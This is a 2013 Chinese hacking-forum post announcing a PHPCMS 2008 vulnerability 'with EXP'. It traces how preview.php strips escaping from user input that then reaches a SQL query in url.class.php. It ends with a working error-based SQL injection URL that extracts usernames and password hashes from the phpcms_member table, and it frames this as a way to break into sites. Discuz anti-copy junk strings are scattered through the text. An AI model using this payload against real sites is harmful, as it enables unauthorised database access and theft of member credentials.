中国网络渗透测试联盟
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
[打印本页]
作者:
admin
时间:
2013-4-19 19:17
标题:
PHPCMS 2008 最新漏洞(第二季)附EXP
说好的第二季来了......
8 J/ n9 x" Z. z/ s0 t
; h! @2 u4 S' P4 D2 Q
要转摘的兄弟们,你们还是带个版权吧!
2 @3 g3 D0 q1 t; y
: q+ S: x. c' S% _9 b8 N" r
组织 :
http://www.safekeyer.com/
(欢迎访问)
4 t: U6 W9 B0 s: r
) k' C8 x& B% b/ c
author: 西毒 blog:
http://hi.baidu.com/sethc5
+ d( N- Z) D& i6 s* I8 y
Q# U; K% [' z3 B- s1 t
9 Z' b# U8 J _, F5 M# b
( ~3 C# ?- d& K9 o+ F2 o
其实还是有蛮多漏洞的,只是我一步步来吧!你们别催,该放的时候自然就会放了.
$ m7 ?. T( \8 {# ^! f
' a. m2 J6 [! J( M1 y- ?
过程不明显的我就省略了。
; F. ~3 Y7 `6 s, i0 i& k: z' R
8 p/ L0 z1 N+ O( B( o, i
在preview.php 中第7行
; S3 o W. l# a- J, G$ a! V% G7 p
0 c+ W6 ?3 |, x! q1 E
$r = new_stripslashes($info);
?' L& @: v _7 k) v
[+ z5 I3 r/ n8 Z, [7 D- g: c
我们跟踪new_stripslashes这个函数
; w1 w4 G4 u5 `- p, a# k% m+ P) s
0 R! L0 F5 @- N2 ?1 Y
在global.func.php中可以找到
; p& |: D. t: q# g* ^
( Y/ o1 m+ J% r: Y9 J% w6 U
1
* P+ R& m& [9 A% i& F6 | Q/ l# E
2
4 p9 u6 Z j h3 m* I
3
2 k' W* {5 G6 r
4
% M8 F0 Q4 t* g. C! J
5
/ X: e8 `) Z" M+ X8 Y" a) g0 l7 l
6 function new_stripslashes($string)
- i I: o' ?! I( J! F: K8 M
{
' X5 ^. C x) I. A& k% p1 {
if(!is_array($string)) return stripslashes($string);
8 W0 B, ?. g* P* O7 y0 c. X% M
foreach($string as $key => $val) $string[$key] = new_stripslashes($val);
+ E1 h0 x G/ t( L2 y) V0 g
return $string;
5 g3 x% G2 N8 c4 N9 \9 r
}
7 \& T6 f4 {# t" a* R% z
I3 i; J9 p6 @7 a# z
这个函数的功能不用解释了吧
1 e- E' x! p4 n/ h; o$ y
) o7 F: P# X7 W- E% O0 b x0 ?% d
所以我们看具体应用点再哪?
. c; b4 z5 I% i! y1 i) z# d0 h
# m* F8 }/ d- |, p# |( I
1
; b' {6 D2 j* q
2
. ?# [# y$ }4 ~: M' g& l; ~. G& X1 w
3
# N+ | v; `% m& x! b/ p
4
2 ^( \4 [0 s: Y# n
5
. G& B3 s6 J7 g$ C/ S
6
; ~* p/ O! v' n; }
7
/ ^' v* {' V+ ~9 \& g. L" W
8
. F, M" d3 G) m* \
9
: c" [7 K2 F" s. g4 i' _( ]: h
10
: B, t/ V! ?& Y
11
' u/ }8 s) Q/ N) a! K1 [: t' M
12
. Y4 l+ m0 M4 `. Y+ Q2 i1 S* N
13
A2 x: I& V6 c- p4 Y ^( C
14
2 p+ b0 }2 \! v' L' r
15
! J9 g, A% o; K$ R8 i3 T
16
% B: J; q& l! }
17
/ w- y0 W+ e% Q% r" D/ f
18
7 L/ ]( D* J9 G1 q
19
2 V! S/ [9 z5 y8 `3 x. I; ?
20
5 c8 J$ P( z+ X: m$ o
21
7 w+ w; @- ?" S1 s4 T
22
; D% u( N6 k3 b. G- \
23
2 p. c2 u: k9 T/ C" g/ l
24
@5 e X! l2 q
25
- p! |5 [4 o& Z2 q! q+ q
26
* `6 `3 p- T h0 ?* T# w
27
0 E6 P- m) g0 Z1 @
28
7 G! z9 E# R' O( q& _
29
: H2 i3 T4 _! X. h
30
+ e( \2 q A* o5 K
31
, s- u, i1 z" x. g9 ?) h+ |0 f+ B
32
3 G( [8 O4 i! R1 J1 `( X& i
33
8 B8 P/ k( g! B$ L# T5 J, ~ v
34
- b7 r! M6 B: ?8 r& t: r
35 require dirname(__FILE__).'/include/common.inc.php';
4 n+ ]6 @ m5 _' h9 G
if(!$_userid) showmessage('禁止访问'); // 所以前提是我们注册个会员就ok了.
# o/ j+ O' Z7 X; ?( ~7 [
require_once CACHE_MODEL_PATH.'content_output.class.php';
3 Y) @& O/ U0 U% [) {
require_once 'output.class.php';
8 {$ Z4 g- T' `8 z8 m
if(!is_array($info)) showmessage('信息预览不能翻页');//这里将要带进来我们的危险参数了
1 Q: G$ c+ K' S* B3 Q! H
$r = new_stripslashes($info); //反转义了.....关键
l3 g' _ Z% r2 |1 E. x
$C = cache_read('category_'.$r['catid'].'.php');
: p+ u; \/ d6 [, \* Z+ s- X9 I8 I
$out = new content_output();
- Z v! h; n; @- Q9 l$ Q
$r['userid'] = $_userid;
7 t: ~( q5 y3 p8 H; K% B9 o; ?
$r['inputtime'] = TIME;
- M2 d/ @, J9 c+ T. {: \
$data = $out->get($r);
+ f0 y* H. N1 h
extract($data);
3 }9 x# s% I2 y3 q6 }
$userid = $_username;
' d4 D( B; z- Q! ?- g, m& v: m
for($i=1;$i<10;$i++)
& Q; b3 w; f: v: c
{
# p3 l' }8 r8 H9 t0 P
$str_attachmentArray[$i] = array("filepath" => "images/preview.gif","description" => "这里是图片的描述","thumb"=>"images/thumb_60_60_preview.gif");
6 [" I) b, [3 Z L" ^
}
$ s* s7 _3 U, V
+ t5 n8 i1 F# Y( I- ~
$array_images = $str_attachmentArray;
/ R8 w9 E. |8 Y
$images_number = 10;
' R! Y- F7 q" w( I/ p/ q% g
$allow_priv = $allow_readpoint = 1;
U9 @* g# L& J0 }3 `% n
$updatetime = date('Y-m-d H:i:s',TIME);
, B3 w% z; f' y N
. N" m# c* r. }; p6 H: T9 e& F: {
$page = max(intval($page), 1);
, c$ h2 H( V. m2 T5 K8 \
$pages = $titles = '';
) N' H" w& } k1 x5 c* V
if(strpos($content, '') !== false) //这里必须还有这个这个字符.....才能操作哈
2 p& z/ p! r" S# Q0 T9 x/ j
{
+ n$ @5 `! U+ t- g, ?! w
require_once 'url.class.php';
' U' e0 ^, t" Q$ ?" m" _. s2 h. ~
$curl = new url();
6 k9 L. _3 e3 {8 d- Y
$contents = array_filter(explode('', $content));
+ P# h" m" c f/ P
$pagenumber = count($contents);
' _$ N. i! v2 X* |: P5 N+ C0 [% \9 A
for($i=1; $i<=$pagenumber; $i++)
' [) @% w2 O% D1 r0 z) {( p! R/ Z/ L- Y
{
( e7 {4 _" r" V2 H
$pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);//这里contentid进入SQL语句当中
8 N( u0 t5 \' _% } ]( f) A
}
* Y; g) T) r* e* t- g% b
其中细节我就不说了...
! {9 I5 | B4 E' r4 ?6 N
: v8 o2 z! J8 q; [4 W3 P
我们看看这个$curl资源句柄中的show方法
; Y: z. a7 \( l! i: w% Y
3 L6 t) `' ]- c! M9 j! H
1 $pageurls[$i] = $curl->show($r['contentid'], $i, $r['catid'], $r['inputtime']);
3 Y7 f o% D4 {) X
/ a4 C% P3 f( {2 J& r1 t1 I: p) A" l
1
" d# H8 o4 u% F+ J9 S& u
2
& S3 U. O( o) L: v0 S
3
& H/ D e& i; i" j( F7 w0 S0 }
4
) ^' ]3 C' m |, _* _8 B9 Z& y
5
) E- B. t# e) V9 D' j
6
. y8 e8 T9 c4 m2 f4 V
7
3 i8 l; @. N8 b) A
8 function show($contentid, $page = 0, $catid = 0, $time = 0, $prefix = '')
2 B# B# y7 t2 _9 n6 ^& ]& |! W
{
/ i5 u8 R1 ^1 r3 b4 i! o
global $PHPCMS;
; I* e( ?& j; @4 z% g
if($catid == 0 || $time == 0 || $prefix == '')
3 I% P0 i2 w, ~
{
% _/ J" ?7 Q1 N7 f8 @$ _: G. g3 b
$r = $this->db->get_one("SELECT * FROM `".DB_PRE."content` WHERE `contentid`='$contentid'");
# t; K/ M! y( P+ G# [1 b" P% Y1 n
if($r['isupgrade'] && !empty($r['url']))
) P0 j8 s, }! J x$ x5 E; Z5 l
{
7 M# s& D8 A) J! f0 A5 L
2 k- c( N! l$ w+ K
所以结合前面的......我们x站了吧
% B) b! V' L" M& R% z* ?! \
7 M ]$ V3 q, ~* A/ S
给出exp
4 x+ \+ _! x" I" I0 Q) m
! w) ?# i! J c1 _5 f S, P/ A) x
www.xxxxx.com/preview.php?info
[catid]=15&content=ab&info[contentid]=2' and (select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x limit 0,1)a)-- a
" J- m1 |, ~+ A. k
c5 g- B/ {5 h1 x% ^8 F) Q
截图看一下
# K% }+ C: w4 Y& e
8 M$ q- }% _1 m6 [1 E
最后真心说句,360收购漏洞计划,价格真心低.....
1 R; }" v7 y' P2 ]
http://www.myhack58.com/Article/UploadPic/2013-4/2013419151239428.jpg
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2